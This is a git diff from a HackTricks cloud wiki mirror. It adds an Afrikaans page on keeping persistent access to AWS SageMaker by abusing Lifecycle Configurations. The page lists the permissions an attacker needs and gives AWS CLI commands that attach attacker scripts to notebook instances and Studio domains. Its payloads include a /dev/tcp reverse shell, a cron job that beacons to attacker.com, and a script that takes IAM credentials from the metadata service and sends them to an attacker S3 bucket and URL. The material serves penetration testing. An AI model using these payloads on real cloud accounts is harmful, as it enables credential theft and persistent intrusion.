mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
# AWS - SageMaker Levensiklus Konfigurasie Volharding
|
||||
|
||||
## Oorsig van Volharding Tegnieke
|
||||
|
||||
Hierdie afdeling skets metodes om volharding in SageMaker te verkry deur die Levensiklus Konfigurasies (LCC's) te misbruik, insluitend omgekeerde shells, cron jobs, geloofsbriefdiefstal via IMDS, en SSH agterdeure. Hierdie skripte loop met die instance se IAM rol en kan oor herlaaiings volhard. Meeste tegnieke vereis uitgaande netwerktoegang, maar die gebruik van dienste op die AWS beheervlak kan steeds sukses toelaat as die omgewing in 'VPC-slegs' modus is.
|
||||
#### Nota: SageMaker notaboek instansies is in wese bestuurde EC2 instansies wat spesifiek vir masjienleer werklas geconfigureer is.
|
||||
|
||||
## Vereiste Toestemmings
|
||||
* Notaboek Instansies:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Toepassings:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Stel Levensikluskonfigurasie op Notaboekinstansies in
|
||||
|
||||
### Voorbeeld AWS CLI Opdragte:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Stel Levensiklus Konfigurasie in op SageMaker Studio
|
||||
|
||||
Levensiklus Konfigurasies kan op verskillende vlakke en aan verskillende app tipes binne SageMaker Studio geheg word.
|
||||
|
||||
### Studio Domein Vlak (Alle Gebruikers)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Ruimtevlak (Individuele of Gedeelde Ruimtes)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipes van Studio Toepassing Levensiklus Konfigurasies
|
||||
|
||||
Levensiklus konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes:
|
||||
* JupyterServer: Voer skripte uit tydens Jupyter bediener opstart, ideaal vir volhardingsmeganismes soos omgekeerde skale en cron take.
|
||||
* KernelGateway: Voer uit tydens kern poorttoepassing bekendstelling, nuttig vir aanvanklike opstelling of volhoubare toegang.
|
||||
* CodeEditor: Geld vir die Kode Redigeerder (Code-OSS), wat skripte moontlik maak wat by die begin van kode redigeersessies uitgevoer word.
|
||||
|
||||
### Voorbeeld Opdrag vir Elke Tipe:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Kritieke Inligting:
|
||||
* Die aanhegting van LCCs op die domein- of ruimtevlak beïnvloed alle gebruikers of toepassings binne die omvang.
|
||||
* Vereis hoër toestemmings (sagemaker:UpdateDomain, sagemaker:UpdateSpace) wat tipies meer haalbaar is op ruimtevlak as op domeinvlak.
|
||||
* Netwerkvlakbeheer (bv. streng uitgangsfiltrering) kan suksesvolle omgekeerde skale of data-uitvloeiing voorkom.
|
||||
|
||||
## Omgekeerde Skaal via Levensiklus Konfigurasie
|
||||
|
||||
SageMaker Levensiklus Konfigurasies (LCCs) voer pasgemaakte skripte uit wanneer notaboekinstansies begin. 'n Aanvaller met toestemmings kan 'n volgehoue omgekeerde skaal tot stand bring.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistensie deur Levensiklus Konfigurasie
|
||||
|
||||
'n Aanvaller kan cron take deur LCC-skripte inspuit, wat periodieke uitvoering van kwaadwillige skripte of opdragte verseker, wat stil persistensie moontlik maak.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Kredensiaal Uitsifting via IMDS (v1 & v2)
|
||||
|
||||
Levensiklus konfigurasies kan die Instansie Metadata Diens (IMDS) ondervra om IAM kredensiale te verkry en dit na 'n aanvaller-beheerde ligging uit te sift.
|
||||
|
||||
### Payload Voorbeeld:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user